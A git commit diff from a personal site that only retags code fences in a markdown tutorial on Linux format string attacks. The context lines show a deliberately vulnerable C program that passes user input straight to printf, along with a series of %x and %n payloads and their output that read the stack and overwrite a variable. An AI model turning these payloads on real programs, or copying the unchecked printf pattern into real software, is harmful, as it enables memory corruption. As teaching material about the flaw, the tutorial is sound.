summaryrefslogtreecommitdiff
path: root/md/writeup/linux_format_string_attack.md
diff options
context:
space:
mode:
authorFreeArtMan <dos21h@gmail.com>2023-02-04 14:10:26 +0000
committerFreeArtMan <dos21h@gmail.com>2023-02-04 14:10:26 +0000
commit380f0fe40b1ab20790e75dac779e73667cc5ac72 (patch)
tree9fa3b9c93b58c966daa22f955282bc3c181d909a /md/writeup/linux_format_string_attack.md
parentdf881efab146ca3ee61bf8936f948dd976fc4740 (diff)
downloadmd-content-380f0fe40b1ab20790e75dac779e73667cc5ac72.tar.gz
md-content-380f0fe40b1ab20790e75dac779e73667cc5ac72.zip
Update all content to new pygmentize
Diffstat (limited to 'md/writeup/linux_format_string_attack.md')
-rw-r--r--md/writeup/linux_format_string_attack.md24
1 files changed, 12 insertions, 12 deletions
diff --git a/md/writeup/linux_format_string_attack.md b/md/writeup/linux_format_string_attack.md
index cbffe87..2a289e1 100644
--- a/md/writeup/linux_format_string_attack.md
+++ b/md/writeup/linux_format_string_attack.md
@@ -6,7 +6,7 @@ Format string attack is attack for C formated strings. Format string
function is prinrf() there are other functions that
support format string.C code for bad used printf():
-```
+```c
int main( int argc, char **argv )
{
static int i = 0;
@@ -26,12 +26,12 @@ then watching value if i
Run:
-```
+```sh
./e1 'Halolo'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
Halolo
@@ -39,7 +39,7 @@ Value of i=0
```
Run:
-```
+```sh
./e1 'Halolo%s'
```
@@ -51,12 +51,12 @@ Value of i=0
```
Run:
-```
+```sh
./e1 $'\x74\x96\x04\x08_%x'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
t?_0
@@ -66,13 +66,13 @@ Value of i=0
Read about %n in format string:
Run:
-```
+```sh
./e1 $'\x74\x96\x04\x08_%x_%n'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
Segmentation fault
@@ -80,12 +80,12 @@ Segmentation fault
Run:
-```
+```sh
./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%x_%n'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
t?_0_8_40_4_4_
@@ -94,12 +94,12 @@ Value of i=16
Run:
-```
+```sh
./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%.1201x_%n'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
t?_0_8_40_4_000000000000000000000000000000000000000000000000000000000000000000000000000000